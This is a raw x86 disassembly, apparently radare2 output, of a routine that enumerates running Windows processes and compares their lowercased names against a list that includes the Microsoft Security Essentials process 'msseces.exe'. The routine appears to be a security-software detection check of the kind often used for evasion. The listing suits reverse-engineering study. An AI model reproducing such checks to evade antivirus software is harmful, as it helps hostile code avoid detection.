lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x8b8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x8d0]
call fcn.00449320
push str.msseces.exe
lea ecx, [ebp - 0x900]
call fcn.00449370
push esi
lea ecx, [ebp - 0x8e8]
mov byte [ebp - 4], 0x79
call fcn.00449370
lea eax, [ebp - 0x900]
mov byte [ebp - 4], 0x7a
push eax
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xecc]
call fcn.005b3284
lea ecx, [ebp - 0x8e8]
mov byte [ebp - 4], bl
call fcn.00449320
lea ecx, [ebp - 0x900]
call fcn.00449320
push ebx
push 2
mov dword [ebp - 0xebc], 0x22c
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
mov dword [ebp - 0xed8], ebx
test ebx, ebx
je 0x5b6045
lea eax, [ebp - 0xebc]
push eax
push ebx
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x5b6045
push 0x3e8
lea eax, [ebp - 0xe98]
push eax
lea eax, [ebp - 0x7e0]
push eax
call fcn.00633257
add esp, 0xc
lea eax, [ebp - 0x7e0]
lea ecx, [ebp - 0x7f8]
push eax
call fcn.00449370
cmp dword [ebp - 0x7e4], 0x10
lea ecx, [ebp - 0x7f8]
mov eax, dword [ebp - 0x7e8]
lea edi, [ebp - 0x7f8]
cmovae ecx, dword [ebp - 0x7f8]
lea esi, [ebp - 0x7f8]
cmovae edi, dword [ebp - 0x7f8]
add eax, ecx
cmp dword [ebp - 0x7e4], 0x10
mov byte [ebp - 4], 0x7b
cmovae esi, dword [ebp - 0x7f8]
cmp esi, eax
je 0x5b5cdb
sub edi, esi
mov ebx, eax
movsx eax, byte [esi]
push eax
call fcn.00633375
mov byte [edi + esi], al
inc esi
pop ecx
cmp esi, ebx
jne 0x5b5cc3
mov ebx, dword [ebp - 0xed8]
mov eax, dword [ebp - 0xecc]
mov esi, dword [eax]
mov dword [ebp - 0xed0], esi
mov dword [ebp - 0xec0], esi
cmp esi, eax
je 0x5b5ff8
xor ecx, ecx
lea eax, [esi + 0x10]
mov dword [ebp - 0x828], ecx
mov dword [ebp - 0x818], ecx
mov dword [ebp - 0x814], ecx
lea ecx, [ebp - 0x828]
push eax
call fcn.005a3525
cmp dword [ebp - 0x814], 0x10
lea ecx, [ebp - 0x828]
mov eax, dword [ebp - 0x818]
lea ebx, [ebp - 0x828]
cmovae ecx, dword [ebp - 0x828]
lea edi, [ebp - 0x828]
cmovae ebx, dword [ebp - 0x828]
add eax, ecx
cmp dword [ebp - 0x814], 0x10
mov byte [ebp - 4], 0x7c
cmovae edi, dword [ebp - 0x828]
cmp edi, eax
je 0x5b5d7b
sub ebx, edi
mov esi, eax
movsx eax, byte [edi]
push eax
call fcn.00633375
mov byte [ebx + edi], al
inc edi
pop ecx
cmp edi, esi
jne 0x5b5d63
mov esi, dword [ebp - 0xed0]
lea eax, [ebp - 0x7f8]
push eax
lea ecx, [ebp - 0x828]
call fcn.005a7c59
test al, al
jne 0x5b5e16
mov eax, dword [ebp - 0x814]
mov byte [ebp - 4], 0x7b
cmp eax, 0x10
jb 0x5b5de8
mov ecx, dword [ebp - 0x828]
inc eax
mov dword [ebp - 0xed4], eax
mov dword [ebp - 0xed0], ecx
cmp eax, 0x1000
jb 0x5b5ddf
lea eax, [ebp - 0xed4]
push eax
lea eax, [ebp - 0xed0]
push eax
call fcn.00447b30
mov eax, dword [ebp - 0xed4]
pop ecx
pop ecx
mov ecx, dword [ebp - 0xed0]
push eax
push ecx
call fcn.00627e97
pop ecx
pop ecx
lea ecx, [ebp - 0xec0]
call fcn.005b3a6e
mov esi, dword [ebp - 0xec0]
mov dword [ebp - 0xed0], esi
cmp esi, dword [ebp - 0xecc]
jne 0x5b5cf7
mov ebx, dword [ebp - 0xed8]
jmp 0x5b5ff8
push dword [ebp - 0xed8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 0x28
mov ecx, 0x70b270
push esi
call fcn.004492f0
mov eax, dword [ebp - 0x814]
cmp eax, 0x10
jb 0x5b603a
mov ecx, dword [ebp - 0x828]
inc eax
mov dword [ebp - 0xec0], eax
mov dword [ebp - 0xed0], ecx
cmp eax, 0x1000
jb 0x5b5e7a
lea eax, [ebp - 0xec0]
push eax
lea eax, [ebp - 0xed0]
push eax
call fcn.00447b30
mov eax, dword [ebp - 0xec0]
pop ecx
pop ecx
mov ecx, dword [ebp - 0xed0]
push eax
push ecx
call fcn.00627e97
pop ecx
pop ecx
jmp 0x5b603a
push 0x3e8
lea eax, [ebp - 0xe98]
push eax
lea eax, [ebp - 0x3f8]
push eax
call fcn.00633257
add esp, 0xc
lea eax, [ebp - 0x3f8]
lea ecx, [ebp - 0x858]
push eax
call fcn.00449370
cmp dword [ebp - 0x844], 0x10
lea ecx, [ebp - 0x858]
mov eax, dword [ebp - 0x848]
lea edi, [ebp - 0x858]
cmovae ecx, dword [ebp - 0x858]
lea esi, [ebp - 0x858]
cmovae edi, dword [ebp - 0x858]
add eax, ecx
cmp dword [ebp - 0x844], 0x10
mov byte [ebp - 4], 0x7d
cmovae esi, dword [ebp - 0x858]
cmp esi, eax
je 0x5b5f16
sub edi, esi
mov ebx, eax
movsx eax, byte [esi]
push eax
call fcn.00633375
mov byte [esi + edi], al
inc esi
pop ecx
cmp esi, ebx
jne 0x5b5efe
mov ebx, dword [ebp - 0xed8]
mov eax, dword [ebp - 0xecc]
mov esi, dword [eax]
mov dword [ebp - 0xec0], esi
cmp esi, eax
je 0x5b5fe9
xor ecx, ecx
lea eax, [esi + 0x10]
mov dword [ebp - 0x828], ecx
mov dword [ebp - 0x818], ecx
mov dword [ebp - 0x814], ecx
lea ecx, [ebp - 0x828]
push eax
call fcn.005a3525
cmp dword [ebp - 0x814], 0x10
lea ecx, [ebp - 0x828]
mov eax, dword [ebp - 0x818]
lea edx, [ebp - 0x828]
cmovae ecx, dword [ebp - 0x828]
cmovae edx, dword [ebp - 0x828]
add eax, ecx
cmp dword [ebp - 0x814], 0x10
lea ecx, [ebp - 0x828]
push fcn.00633375
cmovae ecx, dword [ebp - 0x828]
push edx
push eax
push ecx
lea eax, [ebp - 0xed0]
mov byte [ebp - 4], 0x7e
push eax
call fcn.005b36c0
add esp, 0x14
lea eax, [ebp - 0x858]
lea ecx, [ebp - 0x828]
push eax
call fcn.005a7c59
test al, al
jne 0x5b600f
lea ecx, [ebp - 0x828]
mov byte [ebp - 4], 0x7d
call fcn.00449320
lea ecx, [ebp - 0xec0]
call fcn.005b3a6e
mov esi, dword [ebp - 0xec0]
cmp esi, dword [ebp - 0xecc]
jne 0x5b5f2c
lea ecx, [ebp - 0x858]
mov byte [ebp - 4], 0x7b
call fcn.00449320
lea eax, [ebp - 0xebc]
push eax
push ebx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x5b5e88
jmp 0x5b603a
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 0x28
mov ecx, 0x70b270
push esi
call fcn.004492f0
lea ecx, [ebp - 0x828]
call fcn.00449320
lea ecx, [ebp - 0x858]
call fcn.00449320
lea ecx, [ebp - 0x7f8]
call fcn.00449320
lea ecx, [ebp - 0xecc]
push ecx
call fcn.005b332f
mov eax, 0x70b270
call fcn.00627ecc
ret
mov esi, 0x711504
push esi
call fcn.0062815a
cmp dword [0x711504], 0xffffffff
pop ecx
jne 0x5b46f9
push 0x65aaa0
call fcn.0062858f
push esi
call fcn.00628110
pop ecx
pop ecx
jmp 0x5b46f9